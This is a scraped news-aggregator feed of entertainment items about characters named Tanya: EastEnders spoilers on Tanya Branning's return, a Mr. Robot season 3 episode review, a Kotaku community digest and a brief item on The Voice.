Horrified, Tanya watched the scenes unfold as both her daughters were last seen laying lifelessly on the pavement below.

Many fans of the BBC soap were pleased to see Jo, 40, back on their screens and were keen to know if the Branning family tragedy meant Tanya would be sticking around.

The actress took to Twitter to thank her well-wishers and comment on the speculation.

“Merry Christmas to all! Judging by my timeline it was worth all the Saturdays in the rain. Thanks for all the love guys,” she wrote.

“It’s only a visit but stay with us….. are my girls alright? #EastEnders.”

Jo confirmed her stay in Albert Square would only be a short one, to the disappointment of many viewers. 

“You were amazing tonight, I loved your performance! Wish you were back full time #Eastenders!,” one fan enthused.

“Please just return full time? ‘Enders needs you,” another pleaded.

While Tanya won’t be around for long, as the dramatic aftermath of last night’s events begin to unfold, it is certain that Jo will be involved in some gripping scenes.

EastEnders continues tonight at 7.30pm on BBC One.

Let’s block ads! (Why?)

Daily Express :: TV and Radio Feed

]]>
https://briefnews.eu/eastenders-spoilers-jo-joyner-reveals-tanya-branning-future-after-abi-and-lauren-exit/feed/ 0
EastEnders spoilers: Tanya Branning makes shock Christmas return – but there’s bad news https://briefnews.eu/eastenders-spoilers-tanya-branning-makes-shock-christmas-return-but-theres-bad-news/ https://briefnews.eu/eastenders-spoilers-tanya-branning-makes-shock-christmas-return-but-theres-bad-news/#respond Tue, 26 Dec 2017 00:26:40 +0000 http://briefnews.eu/eastenders-spoilers-tanya-branning-makes-shock-christmas-return-but-theres-bad-news/

The fan favourite stormed back into Albert Square to retrieve her daughters Abi (played by Lorna Fitzgerald) and Lauren Branning (Jacqueline Jossa), loaded with all of Max’s (Jake Wood) secrets. 

The Christmas chaos saw Tanya (Jo Joyner) finally reveal that Max killed Steven Beale (Aaron Sidwell), prompting Abi and Lauren to turn their back on their father for good. 

However, when Max stood on the Queen Vic rooftop, poising himself to jump off, Abi and Lauren took drastic action.

The nail-biting twist saw Abi and Lauren fall to their departure from the BBC soap while trying to save Max – and bosses have confirmed there will be a death rocking Walford over the Christmas period. 

As viewers get to grips with the catastrophic events of the 60-minute special, the question on everyone’s lips remains: Is Tanya back for good?

Sadly, it seems unlikely as new showrunner John Yorke revealed to press including Express.co.uk, they struggled to hold actress Jo Joyner down. 

“She’s so busy doing other stuff, that’s why we were always filming at 2am because it was the only time when she was free,” he said. “It was crazy to film.”

Though, the 40-year-old couldn’t resist returning to her rightful home for such a spectacular storyline. 

“She was nervous about coming back,” John continued. “Simon [Ashdown] pitched her the story and I was with her the other week and she said, ‘As soon as Simon pitched me the storyline I knew I had to be there’.

“She’s their mum so it was really special to all of them.”

EastEnders continues tomorrow at 7.30pm on BBC One. 

Let’s block ads! (Why?)

Daily Express :: TV and Radio Feed

]]>
https://briefnews.eu/eastenders-spoilers-tanya-branning-makes-shock-christmas-return-but-theres-bad-news/feed/ 0
‘Mr. Robot’ Review: ‘Frederick and Tanya’ is a Grim Portrait of the Fallout https://briefnews.eu/mr-robot-review-frederick-and-tanya-is-a-grim-portrait-of-the-fallout/ https://briefnews.eu/mr-robot-review-frederick-and-tanya-is-a-grim-portrait-of-the-fallout/#respond Fri, 24 Nov 2017 02:38:21 +0000 http://briefnews.eu/mr-robot-review-frederick-and-tanya-is-a-grim-portrait-of-the-fallout/ mr. robot frederick and tanya review

(We’re going to kickstart our weekly discussion of USA’s Mr. Robot season 3 by answering one simple question: who had the biggest mental breakdown in this week’s episode?)

Sobering reminders of reality go hand-in-hand with Mr. Robot, and “Frederick and Tanya” is no exception. The episode has the thankless job of dealing with the aftermath of the Dark Army’s shocking attack against 71 E Corp buildings, as well as tying up loose plot threads that have been forgotten since season 2. Plot has never been a strong suit of the USA Network show, so it’s reassuring that this week’s episode is as steeped in the disheartening mood that has become synonymous with Mr. Robot. Happy Thanksgiving, everyone.

This Week’s Breakdown: Everyone Except the Dark Army

It’s hard to pinpoint who is the biggest loser in this grim episode that follows the aftermath of the attack against 71 E Corp buildings and the death of thousands of people. Dom, who engages in a mad dash to find the culprits; Elliot, whose shock causes him to regress into Mr. Robot for the remainder of the episode; Angela, who is catatonic and delusional in the face of the rising body count; or the sobbing background characters, reeling from the largest attack in U.S. history. The events in Mr. Robot once again feels achingly close to reality in the wake of the Las Vegas mass shooting a month ago. As a heightened depiction of anarchic intent, Mr. Robot has always danced around moments of real-life brutality — often accidentally as in the case with the on-camera death in the season 1 finale — but throughout season 3 it has felt more intentional. Not in how the events played out, or even the obvious parallels to sudden, inexplicable acts of violence that cause more loss of life on American soil than ever before. It’s in the initial shock that is relayed across everyone’s faces before it fades into blank apathy.

“You know how these people are enjoying themselves even on the day of the biggest attack in U.S. history?” Irving asks Mr. Robot, pointing to a rooftop bar populated by decadently-dressed socialites. “Nothing can stop these people.”

A shout out must also be made to Trenton (Sunita Mani) and Mobley (Azhar Khan), the sacrificial pawns of the episode. The fsociety foot soldiers who had been MIA since the season 2 finale returned for a brief, horrifying moment as the titular “Frederick and Tanya.” They’ve been held hostage by Leon (Joey Badass, once again a standout) who slashes the throat of Mobley’s roommate and drives the two of them out to the desert, all the while discussing the merits of Knight Rider over Frasier. It leads into an oddly quirky arc for two characters who eventually become the emotional crux of the episode. Trenton and Mobley’s reintroduction and gut-wrenching exit doesn’t entirely work — the fact that it took me half the episode to remember their names may have been a factor — but the slow-burn plot is a welcome change of pace after the show spent the last two weeks hurdling toward an end point.

mr robot season 3 ep 7-2

Delusions of Grandeur

In keeping with season 3’s trend of distancing the series more and more from Elliot’s POV, Rami Malek remains mostly MIA this episode, only getting the chance to hysterically stumble into his therapist Krista’s office before regressing into Christian Slater’s Mr. Robot for the rest of the episode. Mr. Robot’s hostility towards Krista is palpable, as he scorns her and the rest of America’s easy acceptance of the status quo — in a ramble that once again recalls Elliot’s monologues from season 1 — while he rages against the Dark Army hijacking his plan and pinning the blame on Tyrell Wellick. It’s the most aggressively narcissistic we’ve ever seen Mr. Robot, and it’s almost cartoonish. We finally get out of Elliot’s head and see his twisted mind view from the outside, and it’s frightening as well as alarmingly true to life in 2017. Sam Esmail is not shirking from his promise to double down on commenting on the current political landscape.

On the flip side of that dose of sobering reality is the concept of alternate realities, which Esmail has suggested before, and which the catatonic Angela seems to have wholeheartedly bought into. She spends much of the episode in shock at Darlene’s apartment, flipping through channels and rewinding footage of the buildings collapsing as the death toll rises. “See? everyone’s fine again,” she guilelessly tells a disturbed Darlene.

mr robot season 3 ep 7

Revolution of the Rich

Mr. Robot’s disaffection took him all the way to Irving’s car shop, where he walked in to yell petulantly at Irving that “Stage 2 was my plan!” before being knocked out by a Dark Army stooge. He wakes up later in Irving’s car, where, unruffled, Irving calls him out to point out the rooftop of wealthy socialites to him. “It was never about your revolution,” Irving tells Mr. Robot glibly. “It was always bought and paid for by people like them.” It’s perhaps the most disheartening part of the episode, and seems to bring to a screeching halt everything that Elliot and Mr. Robot had fought for in the last three seasons. What else but to bring down the top 1%, to bring equality to the status quo? Were they just pawns serving the rich and wealthy the entire time? That seems to be the message that Mr. Robot is relaying to us, and while it’s not the most soul-crushingly oppressive moment from the series, it does imbue the episode with a heavy hopelessness.

Especially when it turns out that even the rich and wealthy aren’t exempt from despair. Phillip is at his lowest when he confronts Whiterose — still set to the ironic opulence of Mar-a-Lago, it seems — demanding to know why E Corp has been attacked so brutally by the Dark Army. Whiterose humors him before smoothly taking him down peg by peg, removing the power that the Dark Army had handed him when they installed him at E Corp. Why? Philip bursts out. “Because Philip,” Whiterose says, smiling. “I had to ask you twice.”

mr robot season 3 ep 7-1

A Dark Future

Once a renegade supporting player, the Dark Army is now the most potent force that Elliot and co., face — E Corp be damned. We got a hint of their terrifying forces in season 2 — the harrowing shootings from which Dom and Darlene escaped are hard to forget — but they pull off one of their most nefarious schemes this week with Trenton and Mobley.

Tyrell’s lawyer, who seems likely to be a Dark Army plant, offers Dom and Santiago the identity of the real fsociety hackers on behalf of his client. Dom protests, believing the Dark Army is at the root of this, but Santiago pulls rank and stops her. Amidst this, poor Tyrell has been discarded by the Dark Army and all that is left is for Santiago to inform him of his wife’s murder and his child’s placement in foster care. But Santiago uses the opportunity to blackmail Tyrell, threatening that his son will be “another statistic” if Tyrell reveals his identity as a Dark Army mole. At this, Tyrell does nothing more but break down and cry.

But Tyrell does his one last duty toward the Dark Army, identifying Trenton and Mobley for the FBI — although that well could have been entirely Santiago as well — which sets in motion the agency’s SWAT team mission to retrieve the two of them at their old house. And a few hours earlier, Leon had done his job professionally and brought the two of them to the house (I’ll miss you Leon) where the Dark Army places the two of them in a sparse room with two computers. They find before them carefully laid schematics and malware for another attack and fearfully assume that the Dark Army wants them as hackers in the attack. Instead, the Dark Army soldiers force a gun into their hands and fake their suicides — which is where SWAT finds them hours later. As Dom and Santiago watch from a control room, the agents find the bodies, Iranian flags, and fsociety masks, all neatly wrapped in a narrative for the FBI. “It’s over,” Santiago assures her, as she painfully realizes that the Dark Army had won.

“You’re going to get away with this, aren’t you?” she says dejectedly, taping a note of Whiterose’s name on top of her board of leads.

The post ‘Mr. Robot’ Review: ‘Frederick and Tanya’ is a Grim Portrait of the Fallout appeared first on /Film.

/Film

]]>
https://briefnews.eu/mr-robot-review-frederick-and-tanya-is-a-grim-portrait-of-the-fallout/feed/ 0
Today’s selection of articles from Kotaku’s reader run community: The Saga of Tanya the Evil is an e https://briefnews.eu/todays-selection-of-articles-from-kotakus-reader-run-community-the-saga-of-tanya-the-evil-is-an-e/ https://briefnews.eu/todays-selection-of-articles-from-kotakus-reader-run-community-the-saga-of-tanya-the-evil-is-an-e/#respond Sat, 04 Feb 2017 14:27:04 +0000 http://briefnews.eu/todays-selection-of-articles-from-kotakus-reader-run-community-the-saga-of-tanya-the-evil-is-an-e/

Today’s selection of articles from Kotaku’s reader run community: The Saga of Tanya the Evil is an epic pissing contest between an atheist and a god • Game Review: The Last Guardian • Two Months Later, I’ve Finally Finished Pokémon Moon…It Was Iight • Unboxing: Tales of Berseria – Collector’s Edition


You’re reading TAY, Kotaku’s community-run blog. TAY is written by and for Kotaku readers like you. We write about games, art, culture and everything in between. Want to write with us? Check out the Beginner’s Guide to TAY and join in.

You can always stop by to say ‘hi’ on our: TAY Open Forum

Or write an article to your personal blog and tag it TAY Classic for feedback.

Follow us here.


Kotaku

]]>
https://briefnews.eu/todays-selection-of-articles-from-kotakus-reader-run-community-the-saga-of-tanya-the-evil-is-an-e/feed/ 0
The Voice: Tanya Lacey FORGIVES Will.i.am for not turning and reveals all about Gavin https://briefnews.eu/the-voice-tanya-lacey-forgives-will-i-am-for-not-turning-and-reveals-all-about-gavin/ https://briefnews.eu/the-voice-tanya-lacey-forgives-will-i-am-for-not-turning-and-reveals-all-about-gavin/#respond Mon, 30 Jan 2017 23:20:37 +0000 http://briefnews.eu/the-voice-tanya-lacey-forgives-will-i-am-for-not-turning-and-reveals-all-about-gavin/

TANYA LACEY soared through to the next stage of The Voice, but the ITV talent contestant has forgiven Will.i.am after he failed to turn for her.
Daily Express :: TV and Radio Feed

]]>
https://briefnews.eu/the-voice-tanya-lacey-forgives-will-i-am-for-not-turning-and-reveals-all-about-gavin/feed/ 0